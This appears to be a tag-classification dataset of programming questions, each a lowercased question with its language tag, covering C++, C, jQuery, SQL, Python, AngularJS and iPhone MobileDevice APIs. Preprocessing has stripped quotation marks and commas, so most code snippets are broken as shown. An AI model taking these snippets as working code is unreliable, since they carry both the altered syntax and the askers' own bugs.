c++ raise method  i am trying to do raise method in my constructor. but i get link error on metho create in somematrix. in usualmatrix and thinmatrix constructors differents only by type of vector.   <pre><code>class somematrix: public imatrix {  public:     virtual ivector* createvector(int _length)=0;      somematrix(int _rows int _cols)     {         cols = _cols;         rows = _rows;         values = new ivector*[rows];         for (int i=0;i&lt;rows;i++)         {             values[i] = createvector(cols);         }     } };  class usualmatrix:public somematrix { public:     ivector* createvector(int _length)     {         return new usualvector(_length);     } };  class thinmatrix:public somematrix { public:     ivector* createvector(int _length)     {         return new thinvector(_length);     } }; </code></pre>,c++
how to edit code min <pre><code>#include &lt;stdio.h&gt;  int main()     {         float gets[8];         int i;         char mes;         printf( enter 7 numbers into the vector: );         for(i=0 ; i&lt;7 ; i++)         scanf( %f   &amp;gets); float min=0;  int v;  for(v=0 ; v&lt;7 ; v++)  {  if (min &gt; gets[v])     min = gets[v];  }  printf( %f   min); </code></pre>   how to edit code .c code how to possible to condition <br/> i fill 7 number  but min = 0 every time.,c
select option doesnt work with jquery  i want to change  style with jquery like this:   <pre><code>$(document).ready(function(){      $( #tmadrp ).click(function(){             if($( #tmadrp option:selected ).val().tostring()== theme1 )             {                 $( link[href= style1 ] ).remove();                 $( head ).append( &lt;link type= text/css  href= syle2 /&gt; )             } }); </code></pre>   but this doesnt react.how can i do. thanks.,jquery
find a record between 2 dates & if not found return the record with the smallest date  i have a table like   <pre><code>name       dateofbirth -------------------------------- ramesh     17/04/1983  pavan      16/03/1980  rakesh     18/03/1975  nadeem     19/05/1974  kalam      20/08/2973  </code></pre>   i m writing a sp whose pseudo code is given below:    i m passing a date to this sp as an input parameter   <ol> <li>if @inputdate is found  the sp should return the record</li> <li>if @inputdate is smaller than the smallest date in the table then the record with the smallest date should be returned</li> <li> if @inputdate is not found but it is between the smallest &amp; largest values in the column then the record which would fall immediately later should be returned   <ul> <li>is it possible to write the logic in a single statement </li> <li>the most optimized way to accomplish this task</li> </ul></li> </ol>,sql
disable editing default value of text input  i have a search form   <pre><code>&lt;input id= price_from  value= price from  &gt; &lt;input id= price_to  value= price to  &gt; &lt;button&gt;search&lt;/button&gt; </code></pre>   how can i disable editing of dafault text  when user starts to type in price amount it s not possible to edit  price from   and  price to   but they stay in input field. i ve tried different mask plugins for jquery but they didn t show default text untill you focus on field and don t provide option for custom text. only placeholders an chars.,html
css line after h2  title ------------------------    hello     i need to be able to add a line after an h2 tag which is responsive the titles will be different lengths. wondering if this is possible via css     here s my current code:   <pre><code>h2:after {    border-top: 1px solid #333;    content:   ;    margin: 0px auto;    position: absolute;    top: 50%;    left: 0px;    right: 0px;    bottom: 0px;    width: 95%;    z-index: -1;  } </code></pre>,css
different ways to inherit objects in javascript with .call()  i was reading up on the <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/function/call  rel= nofollow >mdn example for .call()</a> and tested the following code in my chrome console:   <pre><code>function product(name  price) {   this.name = name;   this.price = price;    if (price &lt; 0) {     throw rangeerror( cannot create product   +                       this.name +   with a negative price );   }    return this; }  function food(name  price) {   product.call(this  name  price);   this.category =  food ; }  food.prototype = object.create(product.prototype);  var cheese = new food( feta   5); // food {name:  feta   price: 5  category:  food } </code></pre>   after playing around with it  i found out that either removing <code>food.prototype = object.create(product.prototype);</code> or changing it to <code>food.prototype = product.prototype;</code> works just as well and returns the same results.     <strong>question</strong> : what is the difference between calling:    1) <code>food.prototype = object.create(product.prototype);</code>    2) <code>food.prototype = product.prototype;</code>    3) removing <code>food.prototype = object.create(product.prototype);</code> entirely,javascript
where are the packaged stored by using pip install and conda isntall   please answer it from both windows and linux. i can use pip show xxx to show the location  but sometimes it shows in /usr/local/lib/python3.6/site-packages  sometimes it shows in /anacoda3/lib/site-packages. i am so confused about the location.,python
c convert cfnumber(kcfnumbersint64type) to a long or int  (have updated the question with code) as the title says i was wondering if it possible to convert a <code>cfnumber(kcfnumbersint64type)</code> to a long or int    here is the code that im currently using.    <pre><code>    #include  mobiledevice.h   void device_callback(struct am_device_notification_callback_info *info  void *arg) {     struct am_device *dev;     if (info-&gt;msg == adnci_msg_connected) {         dev = info-&gt;dev;         cfretain(dev);         amdsetloglevel(5);         amdeviceconnect(dev);         assert(amdeviceispaired(dev));         assert(!amdevicevalidatepairing(dev));         assert(!amdevicestartsession(dev));          assert(amdeviceispaired(dev));         assert(amdevicevalidatepairing(dev) == 0);          int64_t i1  i2 = 42;         cfnumberref ecid = amdevicecopyvalue(dev  0  cfstr( uniquechipid )); // this is what i want as a long/int          printf( ecid  (%s)  cfnumbergetvalue(ecid  kcfnumbersint64type  &amp;i1));      } }  int main(int argc  char *argv[]) {     struct am_device_notification *notify;     amdevicenotificationsubscribe(&amp;device_callback  0  0  null  &amp;notify);     cfrunlooprun();  }      /* ----------------------------------------------------------------------------  *   mobiledevice.h - interface to mobiledevice.framework  *   $lastchangeddate: 2007-07-09 18:59:29 -0700 (mon  09 jul 2007) $  *  * copied from http://iphonesvn.halifrag.com/svn/iphone/  * with modifications from allen porter and scott turner  *  * ------------------------------------------------------------------------- */  #ifndef mobiledevice_h #define mobiledevice_h  #ifdef __cplusplus extern  c  { #endif  #if defined(win32) #include &lt;corefoundation.h&gt;     typedef unsigned int mach_error_t; #elif defined(__apple__) #include &lt;corefoundation/corefoundation.h&gt; #include &lt;mach/error.h&gt; #endif      /* error codes */ #define mderr_apple_mobile  (err_system(0x3a)) #define mderr_iphone        (err_sub(0))      /* apple mobile (am*) errors */ #define mderr_ok                err_success #define mderr_syscall           (err_mobile_device | 0x01) #define mderr_out_of_memory     (err_mobile_device | 0x03) #define mderr_query_failed      (err_mobile_device | 0x04) #define mderr_invalid_argument  (err_mobile_device | 0x0b) #define mderr_dict_not_loaded   (err_mobile_device | 0x25)      /* apple file connection (afc*) errors */ #define mderr_afc_out_of_memory 0x03      /* usbmux errors */ #define mderr_usbmux_arg_null   0x16 #define mderr_usbmux_failed     0xffffffff      /* messages passed to device notification callbacks: passed as part of      * am_device_notification_callback_info. */ #define adnci_msg_connected     1 #define adnci_msg_disconnected  2 #define adnci_msg_unknown       3  #define amd_iphone_product_id   0x1290 #define amd_iphone_serial        3391002d9c804d105e2c8c7d94fc35b6f3d214a3       /* services  found in /system/library/lockdown/services.plist */ #define amsvc_afc                   cfstr( com.apple.afc ) #define amsvc_backup                cfstr( com.apple.mobilebackup ) #define amsvc_crash_report_copy     cfstr( com.apple.crashreportcopy ) #define amsvc_debug_image_mount     cfstr( com.apple.mobile.debug_image_mount ) #define amsvc_notification_proxy    cfstr( com.apple.mobile.notification_proxy ) #define amsvc_purple_test           cfstr( com.apple.purpletestr ) #define amsvc_software_update       cfstr( com.apple.mobile.software_update ) #define amsvc_sync                  cfstr( com.apple.mobilesync ) #define amsvc_screenshot            cfstr( com.apple.screenshotr ) #define amsvc_syslog_relay          cfstr( com.apple.syslog_relay ) #define amsvc_system_profiler       cfstr( com.apple.mobile.system_profiler )      typedef unsigned int afc_error_t;     typedef unsigned int usbmux_error_t;     typedef unsigned int service_conn_t;      struct am_recovery_device;      typedef struct am_device_notification_callback_info {         struct am_device *dev;  /* 0    device */         unsigned int msg;       /* 4    one of adnci_msg_* */     } __attribute__ ((packed)) am_device_notification_callback_info;      /* the type of the device restore notification callback functions.      * todo: change to correct type. */     typedef void (*am_restore_device_notification_callback)(struct     am_recovery_device *);      /* this is a corefoundation object of class amrecoverymodedevice. */     typedef struct am_recovery_device {         unsigned char unknown0[8];                          /* 0 */         am_restore_device_notification_callback callback;   /* 8 */         void *user_info;                                    /* 12 */         unsigned char unknown1[12];                         /* 16 */         unsigned int readwrite_pipe;                        /* 28 */         unsigned char read_pipe;                            /* 32 */         unsigned char write_ctrl_pipe;                      /* 33 */         unsigned char read_unknown_pipe;                    /* 34 */         unsigned char write_file_pipe;                      /* 35 */         unsigned char write_input_pipe;                     /* 36 */     } __attribute__ ((packed)) am_recovery_device;      /* a corefoundation object of class amrestoremodedevice. */     typedef struct am_restore_device {         unsigned char unknown[32];         int port;     } __attribute__ ((packed)) am_restore_device;      /* the type of the device notification callback function. */     typedef void(*am_device_notification_callback)(struct     am_device_notification_callback_info *  void* arg);      /* the type of the _amddeviceattached function.      * todo: change to correct type. */     typedef void *amd_device_attached_callback;       typedef struct am_device {         unsigned char unknown0[16]; /* 0 - zero */         unsigned int device_id;     /* 16 */         unsigned int product_id;    /* 20 - set to amd_iphone_product_id */         char *serial;               /* 24 - set to amd_iphone_serial */         unsigned int unknown1;      /* 28 */         unsigned char unknown2[4];  /* 32 */         unsigned int lockdown_conn; /* 36 */         unsigned char unknown3[8];  /* 40 */     } __attribute__ ((packed)) am_device;      typedef struct am_device_notification {         unsigned int unknown0;                      /* 0 */         unsigned int unknown1;                      /* 4 */         unsigned int unknown2;                      /* 8 */         am_device_notification_callback callback;   /* 12 */         unsigned int unknown3;                      /* 16 */     } __attribute__ ((packed)) am_device_notification;      typedef struct afc_connection {         unsigned int handle;            /* 0 */         unsigned int unknown0;          /* 4 */         unsigned char unknown1;         /* 8 */         unsigned char padding[3];       /* 9 */         unsigned int unknown2;          /* 12 */         unsigned int unknown3;          /* 16 */         unsigned int unknown4;          /* 20 */         unsigned int fs_block_size;     /* 24 */         unsigned int sock_block_size;   /* 28: always 0x3c */         unsigned int io_timeout;        /* 32: from afcconnectionopen  usu. 0 */         void *afc_lock;                 /* 36 */         unsigned int context;           /* 40 */     } __attribute__ ((packed)) afc_connection;      typedef struct afc_directory {         unsigned char unknown[0];   /* size unknown */     } __attribute__ ((packed)) afc_directory;      typedef struct afc_dictionary {         unsigned char unknown[0];   /* size unknown */     } __attribute__ ((packed)) afc_dictionary;      typedef unsigned long long afc_file_ref;      typedef struct usbmux_listener_1 {                  /* offset   value in itunes */         unsigned int unknown0;                  /* 0        1 */         unsigned char *unknown1;                /* 4        ptr  maybe device  */         amd_device_attached_callback callback;  /* 8        _amddeviceattached */         unsigned int unknown3;                  /* 12 */         unsigned int unknown4;                  /* 16 */         unsigned int unknown5;                  /* 20 */     } __attribute__ ((packed)) usbmux_listener_1;      typedef struct usbmux_listener_2 {         unsigned char unknown0[4144];     } __attribute__ ((packed)) usbmux_listener_2;      typedef struct am_bootloader_control_packet {         unsigned char opcode;       /* 0 */         unsigned char length;       /* 1 */         unsigned char magic[2];     /* 2: 0x34  0x12 */         unsigned char payload[0];   /* 4 */     } __attribute__ ((packed)) am_bootloader_control_packet;      /* ----------------------------------------------------------------------------      *   public routines      * ------------------------------------------------------------------------- */      void amdsetloglevel(int level);      /*  registers a notification with the current run loop. the callback gets      *  copied into the notification struct  as well as being registered with the      *  current run loop. dn_unknown3 gets copied into unknown3 in the same.      *  (maybe dn_unknown3 is a user info parameter that gets passed as an arg to      *  the callback ) unused0 and unused1 are both 0 when itunes calls this.      *  in itunes the callback is located from $3db78e-$3dbbaf.      *      *  returns:      *      mderr_ok            if successful      *      mderr_syscall       if cfrunloopaddsource() failed      *      mderr_out_of_memory if we ran out of memory      */      mach_error_t amdevicenotificationsubscribe(am_device_notification_callback                                                callback  unsigned int unused0  unsigned int unused1  void* //unsigned int                                                dn_unknown3  struct am_device_notification **notification);      /*  connects to the iphone. pass in the am_device structure that the      *  notification callback will give to you.      *      *  returns:      *      mderr_ok                if successfully connected      *      mderr_syscall           if setsockopt() failed      *      mderr_query_failed      if the daemon query failed      *      mderr_invalid_argument  if usbmuxconnectbyport returned 0xffffffff      */      mach_error_t amdeviceconnect(struct am_device *device);      /*  calls pairingrecordpath() on the given device  than tests whether the path      *  which that function returns exists. during the initial connect  the path      *  returned by that function is  /   and so this returns 1.      *      *  returns:      *      0   if the path did not exist      *      1   if it did      */      int amdeviceispaired(struct am_device *device);      /*  itunes calls this function immediately after testing whether the device is      *  paired. it creates a pairing file and establishes a lockdown connection.      *      *  returns:      *      mderr_ok                if successful      *      mderr_invalid_argument  if the supplied device is null      *      mderr_dict_not_loaded   if the load_dict() call failed      */      mach_error_t amdevicevalidatepairing(struct am_device *device);      /*  creates a lockdown session and adjusts the device structure appropriately      *  to indicate that the session has been started. itunes calls this function      *  after validating pairing.      *      *  returns:      *      mderr_ok                if successful      *      mderr_invalid_argument  if the lockdown conn has not been established      *      mderr_dict_not_loaded   if the load_dict() call failed      */      mach_error_t amdevicestartsession(struct am_device *device);      /* starts a service and returns a handle that can be used in order to further      * access the service. you should stop the session and disconnect before using      * the service. itunes calls this function after starting a session. it starts      * the service and the ssl connection. unknown may safely be      * null (it is when itunes calls this)  but if it is not  then it will be      * filled upon function exit. service_name should be one of the amsvc_*      * constants. if the service is afc (amsvc_afc)  then the handle is the handle      * that will be used for further afc* calls.      *      * returns:      *      mderr_ok                if successful      *      mderr_syscall           if the setsockopt() call failed      *      mderr_invalid_argument  if the lockdown conn has not been established      */      mach_error_t amdevicestartservice(struct am_device *device  cfstringref                                       service_name  service_conn_t *handle  unsigned int *                                       unknown);      mach_error_t amdevicestarthousearrestservice(struct am_device *device  cfstringref identifier  void *unknown  service_conn_t *handle  unsigned int *what);      /* stops a session. you should do this before accessing services.      *      * returns:      *      mderr_ok                if successful      *      mderr_invalid_argument  if the lockdown conn has not been established      */      mach_error_t amdevicestopsession(struct am_device *device);      /* opens an apple file connection. you must start the appropriate service      * first with amdevicestartservice(). in itunes  io_timeout is 0.      *      * returns:      *      mderr_ok                if successful      *      mderr_afc_out_of_memory if malloc() failed      */      afc_error_t afcconnectionopen(service_conn_t handle  unsigned int io_timeout                                    struct afc_connection **conn);      /* pass in a pointer to an afc_device_info structure. it will be filled. */     afc_error_t afcdeviceinfoopen(afc_connection *conn  struct                                   afc_dictionary **info);      /* turns debug mode on if the environment variable afcdebug is set to a numeric      * value  or if the file  /afcdebug  is present and contains a value. */     void afcplatforminit();      /* opens a directory on the iphone. pass in a pointer in dir to be filled in.      * note that this normally only accesses the itunes sandbox/partition as the      * root  which is /var/root/media. pathnames are specified with  /  delimiters      * as in unix style.      *      * returns:      *      mderr_ok                if successful      */      afc_error_t afcdirectoryopen(afc_connection *conn  const char *path                                   struct afc_directory **dir);      /* acquires the next entry in a directory previously opened with      * afcdirectoryopen(). when dirent is filled with a null value  then the end      * of the directory has been reached.  .  and  ..  will be returned as the      * first two entries in each directory except the root; you may want to skip      * over them.      *      * returns:      *      mderr_ok                if successful  even if no entries remain      */      afc_error_t afcdirectoryread(afc_connection *conn/*unsigned int unused*/  struct afc_directory *dir                                   char **dirent);      afc_error_t afcdirectoryclose(afc_connection *conn  struct afc_directory *dir);     afc_error_t afcdirectorycreate(afc_connection *conn  const char *dirname);     afc_error_t afcremovepath(afc_connection *conn  const char *dirname);     afc_error_t afcrenamepath(afc_connection *conn  const char *from  const char *to);     afc_error_t afclinkpath(afc_connection *conn  long long int linktype  const char *target  const char *linkname);      /* returns the context field of the given afc connection. */     unsigned int afcconnectiongetcontext(afc_connection *conn);      /* returns the fs_block_size field of the given afc connection. */     unsigned int afcconnectiongetfsblocksize(afc_connection *conn);      /* returns the io_timeout field of the given afc connection. in itunes this is      * 0. */     unsigned int afcconnectiongetiotimeout(afc_connection *conn);      /* returns the sock_block_size field of the given afc connection. */     unsigned int afcconnectiongetsocketblocksize(afc_connection *conn);      /* closes the given afc connection. */     afc_error_t afcconnectionclose(afc_connection *conn);      /* registers for device notifications related to the restore process. unknown0      * is zero when itunes calls this. in itunes       * the callbacks are located at:      *      1: $3ac68e-$3ac6b1  calls $3ac542(unknown1  arg  0)      *      2: $3ac66a-$3ac68d  calls $3ac542(unknown1  0  arg)      *      3: $3ac762-$3ac785  calls $3ac6b2(unknown1  arg  0)      *      4: $3ac73e-$3ac761  calls $3ac6b2(unknown1  0  arg)      */      unsigned int amrestoreregisterfordevicenotifications(                                                          am_restore_device_notification_callback dfu_connect_callback                                                           am_restore_device_notification_callback recovery_connect_callback                                                           am_restore_device_notification_callback dfu_disconnect_callback                                                           am_restore_device_notification_callback recovery_disconnect_callback                                                           unsigned int unknown0                                                           void *user_info);      /* causes the restore functions to spit out (unhelpful) progress messages to      * the file specified by the given path. itunes always calls this right before      * restoring with a path of      *  $home/library/logs/iphone updater logs/iphoneupdater x.log   where x is an      * unused number.      */      unsigned int amrestoreenablefilelogging(char *path);      /* initializes a new option dictionary to default values. pass the constant      * kcfallocatordefault as the allocator. the option dictionary looks as      * follows:      * {      *      norimagetype =&gt;  production        *      autobootdelay =&gt; 0       *      kernelcachetype =&gt;  release        *      updatebaseband =&gt; true       *      dfufiletype =&gt;  release        *      systemimagetype =&gt;  user        *      createfilesystempartitions =&gt; true       *      flashnor =&gt; true       *      restorebootargs =&gt;  rd=md0 nand-enable-reformat=1 -progress       *      bootimagetype =&gt;  user       *  }      *      * returns:      *      the option dictionary   if successful      *      null                    if out of memory      */      cfmutabledictionaryref amrestorecreatedefaultoptions(cfallocatorref allocator);      /* ----------------------------------------------------------------------------      *   less-documented public routines      * ------------------------------------------------------------------------- */      /* mode 2 = read  mode 3 = write */     afc_error_t afcfilerefopen(afc_connection *conn  const char *path                                 unsigned long long mode  afc_file_ref *ref);     afc_error_t afcfilerefseek(afc_connection *conn  afc_file_ref ref                                 unsigned long long offset1  unsigned long long offset2);     afc_error_t afcfilerefread(afc_connection *conn  afc_file_ref ref                                 void *buf  unsigned int *len);     afc_error_t afcfilerefsetfilesize(afc_connection *conn  afc_file_ref ref                                        unsigned long long offset);     afc_error_t afcfilerefwrite(afc_connection *conn  afc_file_ref ref                                  const void *buf  unsigned int len);     afc_error_t afcfilerefclose(afc_connection *conn  afc_file_ref ref);      afc_error_t afcfileinfoopen(afc_connection *conn  const char *path  struct                                 afc_dictionary **info);     afc_error_t afckeyvalueread(struct afc_dictionary *dict  char **key  char **                                 val);     afc_error_t afckeyvalueclose(struct afc_dictionary *dict);      unsigned int amrestoreperformrecoverymoderestore(struct am_recovery_device *                                                      rdev  cfdictionaryref opts  void *callback  void *user_info);     unsigned int amrestoreperformrestoremoderestore(struct am_restore_device *                                                     rdev  cfdictionaryref opts  void *callback  void *user_info);      struct am_restore_device *amrestoremodedevicecreate(unsigned int unknown0                                                          unsigned int connection_id  unsigned int unknown1);      unsigned int amrestorecreatepathsforbundle(cfstringref restore_bundle_path                                                 cfstringref kernel_cache_type  cfstringref boot_image_type  unsigned int                                                unknown0  cfstringref *firmware_dir_path  cfstringref *                                                kernelcache_restore_path  unsigned int unknown1  cfstringref *                                                ramdisk_path);      unsigned int amdevicegetconnectionid(struct am_device *device);     mach_error_t amdeviceenterrecovery(struct am_device *device);     mach_error_t amdevicedisconnect(struct am_device *device);     mach_error_t amdeviceretain(struct am_device *device);     mach_error_t amdevicerelease(struct am_device *device);     cfstringref amdevicecopyvalue(struct am_device *device  unsigned int  cfstringref cfstring);     cfstringref amdevicecopydeviceidentifier(struct am_device *device);      typedef void (*notify_callback)(cfstringref notification  void *data);      mach_error_t amdpostnotification(service_conn_t socket  cfstringref  notification  cfstringref userinfo);     mach_error_t amdobservenotification(void *socket  cfstringref notification);     mach_error_t amdlistenfornotifications(void *socket  notify_callback cb  void *data);     mach_error_t amdshutdownnotificationproxy(void *socket);      /*edits by geohot*/     mach_error_t amdevicedeactivate(struct am_device *device);     mach_error_t amdeviceactivate(struct am_device *device  cfmutabledictionaryref);     /*end*/      void *amdeviceserialize(struct am_device *device);     void amdaddlogfiledescriptor(int fd);     //kern_return_t amdevicesendmessage(service_conn_t socket  void *unused  cfpropertylistref plist);     //kern_return_t amdevicereceivemessage(service_conn_t socket  cfdictionaryref options  cfpropertylistref * result);      /* ----------------------------------------------------------------------------      *   semi-private routines      * ------------------------------------------------------------------------- */      /*  pass in a usbmux_listener_1 structure and a usbmux_listener_2 structure      *  pointer  which will be filled with the resulting usbmux_listener_2.      *      *  returns:      *      mderr_ok                if completed successfully      *      mderr_usbmux_arg_null   if one of the arguments was null      *      mderr_usbmux_failed     if the listener was not created successfully      */      usbmux_error_t usbmuxlistenercreate(struct usbmux_listener_1 *esi_fp8  struct                                         usbmux_listener_2 **eax_fp12);      /* ----------------------------------------------------------------------------      *   less-documented semi-private routines      * ------------------------------------------------------------------------- */      usbmux_error_t usbmuxlistenerhandledata(void *);      /* ----------------------------------------------------------------------------      *   private routines - here be dragons      * ------------------------------------------------------------------------- */      /* amrestoreperformrestoremoderestore() calls this function with a dictionary      * in order to perform certain special restore operations      * (restored_operation_*). it is thought that this function might enable      * significant access to the phone. */      typedef unsigned int (*t_performoperation)(struct am_restore_device *rdev      cfdictionaryref op); // __attribute__ ((regparm(2)));  #ifdef __cplusplus } #endif  #endif </code></pre>   would love if someone knows a solution to the problem i have :d,objective-c
how to find open ports on godaddy dedicated server   i have written a program in dotnet which listens to a port and stores the data received in a database. the code runs fine on local machine  but  when i deploy the code to go daddy dedicated server with dedicated ip  no data is received and stored in the database. it seems that the port on which data is send is closed because i get an error message that the connection cannot be established. which port number should i use to send data on go daddy dedicated server  godaddy won t tell me about the open ports on the dedicated server. is there any way to find out the open ports on godaddy server which i can use to send data.,.net
align to right first inline-block on small devices  basically whats my problem  i have to divs align with inline-block  and on small devices both have width of 100% of the screen  how can i move the first div to be after the second  on small resolution  without flexbox     <pre><code>   .main-area{      font-size: 0px;    }     .left-div     .right-div{    display: inline-block;     }     @media(max-width: 768px){        .left-div         .right-div{           width: 100%;         }    }   </code></pre>,css
angularjs: 2 way binding not working in included template  i think i m missing something simple (and important) here. i m using an included template that contains an input that s mapped to some value:   <pre><code>&lt;div ng-controller= ctrl &gt;     &lt;div ng-include src=  template.html  &gt;&lt;/div&gt; &lt;/div&gt;  &lt;!-- template --&gt; &lt;script type= text/ng-template  id= template.html &gt;     &lt;input ng-model= testvalue  /&gt; &lt;/script&gt; </code></pre>   controller:   <pre><code>function ctrl($scope) {        $scope.testvalue=  initial value ; }​ </code></pre>   alerting the value of $scope.testvalue always shows the initial value  not the updated value (when you type in the input). help me obi-wan. you re our only hope.    fiddle: <a href= http://jsfiddle.net/h5aac/ >http://jsfiddle.net/h5aac/</a>,angularjs
skip function arguments javascript  for example i have this function   <pre><code>function example(a=1 b=1 c=1 d=1 f=1) {  return (a*b*c*d*f) } </code></pre>   so i have simple function with parameter which have default value. and now when i call the function if i want to multiply a with <code>f</code>. i need to do that this way:   <pre><code>example(3 1 1 1 5) </code></pre>   why i can t simply write first and last argument  is that possible  something like:   <pre><code>example(3[1] 5[5]) </code></pre>   where numbers <code>[1]</code> and <code>[5]</code> determine the index of argument,javascript
moving car on the road with javascript  i am new to javascript.i want to move a car on path with arrows.i created the path with svg and made functions for the arrows.they are ok.but i dont know how will the car recognize the path if i should check the path s coordinates for each move  my path consists of different shapes how can i control it i found some examples but they make the movement as motion not with each key press. please give me an idea how to move the car only over the road..,javascript
how to check if a deque is empty in python   how to check if a deque is empty in python,python
if element has attribute do something else in jquery  i m using the qtip plugin to create tooltips for both alt and title tags. the reason for doing this is because in an application i m working on i can t convert all the alt tags on the images to title tags so have had to use both:    e.g.   <pre><code>$( *[title] ).qtip({         content: {             attr:  title          }          hide: {             fixed: false              event:  click mouseleave          }          position: {             target:  mouse               adjust: {                 x: 20                  y: 10                  method:  flipinvert flipinvert              }              container: false              viewport: true              at:  right center               my:  left center          }          style: {             classes:  ui-tooltip-tipsy               tip: {                 corner: false             }         }     });      $( img[alt] ).qtip({         content: {             attr:  alt          }          hide: {             fixed: false              event:  click mouseleave          }          position: {             target:  mouse               adjust: {                 x: 20                  y: 10                  method:  flipinvert flipinvert              }              container: false              viewport: true              at:  right center               my:  left center          }          style: {             classes:  ui-tooltip-tipsy               tip: {                 corner: false             }         }     }); </code></pre>   the problem i have though  is that if i have a link with a title wrapping an image i will get two tooltips which is incorrect behaviour.    my idea is to do some logic checking that if the element i am hovering has a title tag or alt tag then only do one or the other and not both.    so for example if <code>&lt;a href= #  title= tooltip info &gt;&lt;img src= #  alt= tooltip info &gt;&lt;/a&gt;</code> then it should use either the alt or title tag in this case.    can anyone help  thanks    example:   <pre><code>$( a ).hover(function() {  if($(this).attr( title )) { // dont run the alt tag tooltip code } }); </code></pre>,jquery
jquery button fade loop until another button is pressed  this is what i want to accomplish. i have two buttons   when i press the first one it fades out to 50% and when the fade out is complete it fades back  up to 100% and then it loops the animation for ever until another button is pressed  and den the next button does exactly the same. so every time a button is clicked it just softly blink…  is this posible     i’ve been toying whit this but just don’t get it to work.   <pre><code>&lt;html&gt;  &lt;head&gt;   &lt;title&gt;&lt;/title&gt; &lt;style type= text/css &gt; #blnk a { cursor: pointer; } &lt;/style&gt;  &lt;script type= text/javascript  src= https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js &gt;&lt;/script&gt;  &lt;script language= javascript  type= text/javascript &gt; &lt;!-- $( #blnk a img ).children().click(function(){           $(this).animate({ backgroundcolor :  } 500);}      function(){           $(this).animate({ backgroundcolor :  } 500);}); //--&gt; &lt;/script&gt; &lt;/head&gt;  &lt;body&gt;     &lt;div id= blnk &gt;&lt;a src= # &gt;&lt;img src= http://www.auviproducciones.com/more/imagenes/imagen5.jpg &gt;&lt;/a&gt;&lt;/div&gt;     &lt;div id= blnk &gt;&lt;a src= # &gt;&lt;img src= http://www.auviproducciones.com/more/imagenes/imagen6.jpg &gt;&lt;/a&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
sql server express vs ms access query  i have a query in visual studio for selecting a specific record in a table in sql server express.   <pre><code>select app_id  app_notes  comments  doc1_id  doc1_link  doc2_id  doc2_link  icd_id  pirn_id  pay_id  rd_id  rsd_id  rsd_notes  req_id  req_para  requirement  sd_id  sd_notes  title  vm_id  vrds  var_para  verification  from requirements  where (req_id = @req_id) </code></pre>   i would like to do the same thing in visual studio for a ms access database.  it does not like the  <code>@req_id</code>. what is the ms access equivalent  thanks.,sql
angularjs not working on some browsers/devices  i m using angular on my site  but i ve been having reports on it often not working. often users have to try different browsers/devices to get it to work. on my computer it works fine on chrome  opera and firefox  latest versions. i ve had reports of the page not working for visitors when using firefox (version 31.6.0) and safari though.    i have a smartphone of brand öwn (chilean or peruvian i think)  and the angular code does not work on this phone. i ve tried using chrome and the öwn browser (some browser of their own). i have expandable content powered by jquery  and that works fine  so it s definitely only angular the page has problems with.    i tried removing all dependencies (using nganimate and ui.bootstrap for datepicker  and ngdialog)  but still doesn t work on my phone.    i m sorry i don t have more details. this is the page where the problems happen: <a href= https://www.easterisland.travel/tours/  rel= nofollow >https://www.easterisland.travel/tours/</a>    does anyone have a clue  thank you!,angularjs
unexpected results from nsuserdefaults boolforkey  after uninstalling an application completely from the device and then loading it in the debugger  i am attempting in a setup method to load a flag using boolforkey. the first time the app runs i have the expectation that the bool will not exist  since i have just reinstalled the app. i expect from the documentation that boolforkey will therefore return no.     i am seeing the opposite though. boolforkey is returning yes  which fubars my initial user settings. any idea why this might be happening or a good way around it    <pre><code>bool stopautologin = [[nsuserdefaults standarduserdefaults] boolforkey:@ stopautologin ]; _userwantsautologin = !stopautologin; </code></pre>   so stopautologin comes out as  yes   which is completely unexpected.    stranger and stranger: when i call objectforkey:@ stopautologin  i get a nil object  as expected. it s just the boolforkey that returns a bad value. so i changed the code to this:   <pre><code>// this is nil nsobject *wrapper = [[nsuserdefaults standarduserdefaults] objectforkey:@ stopautologin ];  // this is yes bool stopautologin = [[nsuserdefaults standarduserdefaults] boolforkey:@ stopautologin ]; </code></pre>,iphone
how to manage data from one page to another in angularjs   i am facing problem to manage the data while redirecting from one page to another in angulrjs.    i have one page (tyre card) where few fields like name  address  ispersonaluser etc... from this page user can go into another page (vehicle card) where few fields like regno  vehicle type etc...    two different controllers are there. tyre card and vehicle card are linked using fk.    when user do some changes into tyrecard and navigate to another page(vehicle card). i want to manage data of tyre card  so when user back to this page from vehicle card then those data should be there on tyrehotelcard.,angularjs
connection string manage with dropdownlist  suppose we have 5 companies with five database. now the situation is we need to change the database path[connection string] on company name which is appear in dropdownlist. when we select the company name on selection of dropdown value we need to go to that companies database. how to do this in asp.net and what necessary changes do in <code>web.config</code> and dropdown event of company name.    now i tried:   <pre><code>protected void dropdownlist1_selectedindexchanged(object sender  eventargs e) {     if (dropdownlist1.selecteditem.text.equals( rvl logistics (i) pvt ltd ))     {         string cs = configurationmanager.connectionstrings[ compmasterconnectionstring ].connectionstring;     }     else if (dropdownlist1.selecteditem.text.equals( simons shipping pvt ltd ))     {         string vs = configurationmanager.connectionstrings[ dum01connectionstring ].connectionstring;     }     else     {         dropdownlist2.enabled = false;     } } </code></pre>,asp.net
combine string recursive-python  i have two string list: a = [ yellow ] b = [ ba ]    i want to combine these two string using a recursive function to get  [ ybaebalbalbaobawba ]    here is my function :   <pre><code>def combine(a  b):      if len(a) &gt; 0:         return str(a[0]) + str(b) + combine(a[:0]  b) </code></pre>   -- i have no idea how recursive works  could someone please help me!,python
in windows service  how to get the service start time and service end time   in windows service  how to get the service start time and service end time,.net
